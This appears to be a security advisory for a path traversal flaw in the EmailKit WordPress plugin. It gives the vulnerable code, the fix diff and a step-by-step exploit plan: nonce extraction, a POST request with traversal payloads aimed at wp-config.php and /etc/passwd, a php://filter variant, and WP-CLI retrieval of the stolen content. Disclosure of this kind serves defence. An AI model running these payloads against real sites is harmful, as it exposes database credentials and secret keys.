EmailKit <= 1.6.3 - Authenticated (Administrator+) Path Traversal via 'emailkit-editor-template' REST API Parameter
Description
The EmailKit – Email Customizer for WooCommerce & WP plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 1.6.3. This is due to the action() function in the TemplateData class passing user-supplied input from the 'emailkit-editor-template' REST API parameter directly to file_get_contents() without any path validation, sanitization, or restriction to an allowed directory. This makes it possible for authenticated attackers, with Administrator-level access, to read arbitrary files on the server (such as /etc/passwd or wp-config.php) by supplying a traversal path. The file contents are stored as post meta and can subsequently be retrieved via the fetch-data REST API endpoint. Notably, the CheckForm class in the same plugin implements proper path validation using realpath() and directory restriction, demonstrating that the developer was aware of the risk but failed to apply the same protections to the TemplateData endpoint.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.6.4
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-3474 (EmailKit Path Traversal) ## 1. Vulnerability Summary The **EmailKit** plugin (<= 1.6.3) contains an authenticated path traversal vulnerability in its REST API implementation. The `EmailKit\Admin\Api\TemplateData::action()` method accepts a file path via…
Show full research plan
Vulnerability Research Plan: CVE-2026-3474 (EmailKit Path Traversal)
1. Vulnerability Summary
The EmailKit plugin (<= 1.6.3) contains an authenticated path traversal vulnerability in its REST API implementation. The EmailKit\Admin\Api\TemplateData::action() method accepts a file path via the emailkit-editor-template parameter and passes it directly to file_get_contents() without validation. The content of the file is then stored as post meta in a newly created emailkit post. An attacker with Administrator privileges can exploit this to read sensitive files (e.g., wp-config.php, /etc/passwd) by retrieving the created post's metadata.
2. Attack Vector Analysis
- Endpoint:
/wp-json/emailkit/v1/template-data - HTTP Method:
POST(or any method, asALLMETHODSis registered) - Vulnerable Parameter:
emailkit-editor-template - Required Authentication: Administrator (
manage_optionscapability) - Required Header:
X-WP-Nonce(set to a validwp_restnonce) - Data Persistence: The file content is saved to the
emailkit_template_content_objectandemailkit_template_content_htmlmeta keys of a newemailkitpost.
3. Code Flow
- Entry Point: The REST route
emailkit/v1/template-datais registered inincludes/Admin/Api/TemplateData.phpwithin the__constructmethod. - Nonce Verification: The
action()function first verifies the nonce:if (!wp_verify_nonce($request->get_header( 'X-WP-Nonce' ), 'wp_rest')) { ... } - Authorization: It checks for admin capabilities:
if (!is_user_logged_in() || !current_user_can( 'manage_options' )) { ... } - Vulnerable Sink: The code retrieves the
emailkit-editor-templateparameter and reads the file:if(!empty($request->get_param( 'emailkit-editor-template' ) ...)){ $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??''; $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??''; } - Persistent Storage: A new post of type
emailkitis created usingwp_insert_post(). The file contents ($templateand$html) are stored inmeta_input:$data = array( 'post_type' => 'emailkit', 'meta_input' => array( 'emailkit_template_content_html' => $html, 'emailkit_template_content_object' => $template, ... ) ); $post_id = wp_insert_post($data);
4. Nonce Acquisition Strategy
The endpoint requires a wp_rest nonce. This is the standard WordPress REST API nonce.
- Login: Authenticate as an Administrator.
- Navigate: Use
browser_navigateto go to the WordPress dashboard (/wp-admin/). - Extract: Use
browser_evalto extract the nonce from the globalwpApiSettingsobject, which is automatically enqueued on most admin pages.- JS Command:
browser_eval("wpApiSettings.nonce")
- JS Command:
- Alternative: If
wpApiSettingsis missing, navigate to the EmailKit settings page (slug likelyemailkit) and look for localized scripts.
5. Exploitation Strategy
Step 1: File Inclusion (Write Phase)
Send a POST request to the vulnerable endpoint to read a sensitive file (e.g., wp-config.php).
- Tool:
http_request - URL:
http://localhost:8080/wp-json/emailkit/v1/template-data - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body (JSON):
{ "emailkit-editor-template": "../../../wp-config.php", "emailkit_template_title": "Exploit Template", "emailkit_email_type": "test", "emailkit_template_type": "test" } - Expected Response:
{"status":"success","data":{"templateId":123,...}}
Step 2: Content Retrieval (Read Phase)
The vulnerability description mentions a fetch-data REST API endpoint. Based on common patterns in this plugin:
- Endpoint:
/wp-json/emailkit/v1/fetch-data(inferred) - Method:
GET - Params:
form_id=[templateId from Step 1]
Fallback Retrieval:
If the fetch-data endpoint is not easily identified, the data can be confirmed via the standard WordPress post meta.
6. Test Data Setup
- User: Create an administrator user (e.g.,
admin_pwn/password123). - Plugin: Ensure
emailkitversion 1.6.3 is installed and active. - Target File: Ensure
wp-config.phpexists in the standard location (root).
7. Expected Results
- The REST API should return a
successstatus and atemplateId. - The database (or the retrieval endpoint) should contain the plaintext content of
wp-config.php(includingDB_PASSWORDandAUTH_KEYsalts) inside theemailkit_template_content_objectmeta field for the generated post.
8. Verification Steps
After the HTTP exploit, verify the file contents were successfully stolen using WP-CLI:
# Get the latest emailkit post ID
POST_ID=$(wp post list --post_type=emailkit --format=ids | awk '{print $1}')
# Check the meta content
wp post meta get $POST_ID emailkit_template_content_object
9. Alternative Approaches
- System File Read: Target
/etc/passwdif the environment is Linux:- Payload:
emailkit-editor-template=/etc/passwd
- Payload:
- Protocol Wrapper: Try reading files using PHP filters if direct paths are blocked by some environment settings:
- Payload:
emailkit-editor-template=php://filter/convert.base64-encode/resource=../../../wp-config.php
- Payload:
- Post Update: If
postIdFieldis provided in the JSON body, theaction()function might update an existing post instead of creating a new one (requires checking the logic for!empty($req->postIdField)which is truncated in the provided snippet but suggested by variable usage).
Summary
The EmailKit plugin for WordPress is vulnerable to authenticated path traversal through the 'emailkit-editor-template' REST API parameter. An administrator can exploit this to read arbitrary files on the server by specifying a file path, such as '../../wp-config.php', which the plugin reads and stores as post meta in a newly created email template.
Vulnerable Code
// includes/Admin/Api/TemplateData.php:45 if(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){ $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??''; $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??''; } // ... further down in action() method where the data is stored ... $data = array( 'post_type' => 'emailkit', 'post_status' => 'publish', 'post_author' => get_current_user_id(), 'post_title' => $subject !== '' ? $subject : "New Template ".uniqid(), 'meta_input' => array( 'emailkit_template_content_html' => $html, 'emailkit_template_content_object' => $template, // ... ) ); $post_id = wp_insert_post($data);
Security Fix
@@ -45,9 +45,26 @@ - if(!empty($request->get_param( 'emailkit-editor-template' ) && trim($request->get_param( 'emailkit-editor-template' )) !== '')){ - $template = file_get_contents($request->get_param( 'emailkit-editor-template' ))??''; - $html = file_get_contents(str_replace( "content.json", "content.html", $request->get_param( 'emailkit-editor-template' )))??''; + if (!empty($request->get_param('emailkit-editor-template')) && trim($request->get_param('emailkit-editor-template')) !== '') { + $template_path = $request->get_param('emailkit-editor-template'); + $allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/'; + $real_path = realpath($template_path); + if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) { + return [ + 'status' => 'fail', + 'message' => [__('Invalid template path', 'emailkit')] + ]; + } + + $template = file_exists($real_path) ? file_get_contents($real_path) : ''; + $html_path = str_replace("content.json", "content.html", $real_path); + + // Validate HTML path as well + $real_html_path = realpath($html_path); + if ($real_html_path !== false && strpos($real_html_path, realpath($allowed_base_path)) === 0) { + + $html = file_exists($real_html_path) ? file_get_contents($real_html_path) : ''; + } } $subject = !empty($request->get_param( 'emailkit_template_title' ))? trim($request->get_param( 'emailkit_template_title' )) : null;
Exploit Outline
1. Authenticate as a WordPress user with Administrator privileges (manage_options capability). 2. Obtain a valid REST API nonce (wp_rest). 3. Send a POST request to the `/wp-json/emailkit/v1/template-data` endpoint. 4. In the request body, include the parameter `emailkit-editor-template` set to the absolute path or a relative traversal path of a sensitive file (e.g., `../../../wp-config.php`). 5. The plugin will create a new post of type `emailkit`. The contents of the requested file will be stored in the `emailkit_template_content_object` and `emailkit_template_content_html` meta fields of this new post. 6. Retrieve the stolen file content by either inspecting the post meta directly or by using the plugin's data retrieval REST endpoints (e.g., `fetch-data`) using the `templateId` returned in the initial exploit response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.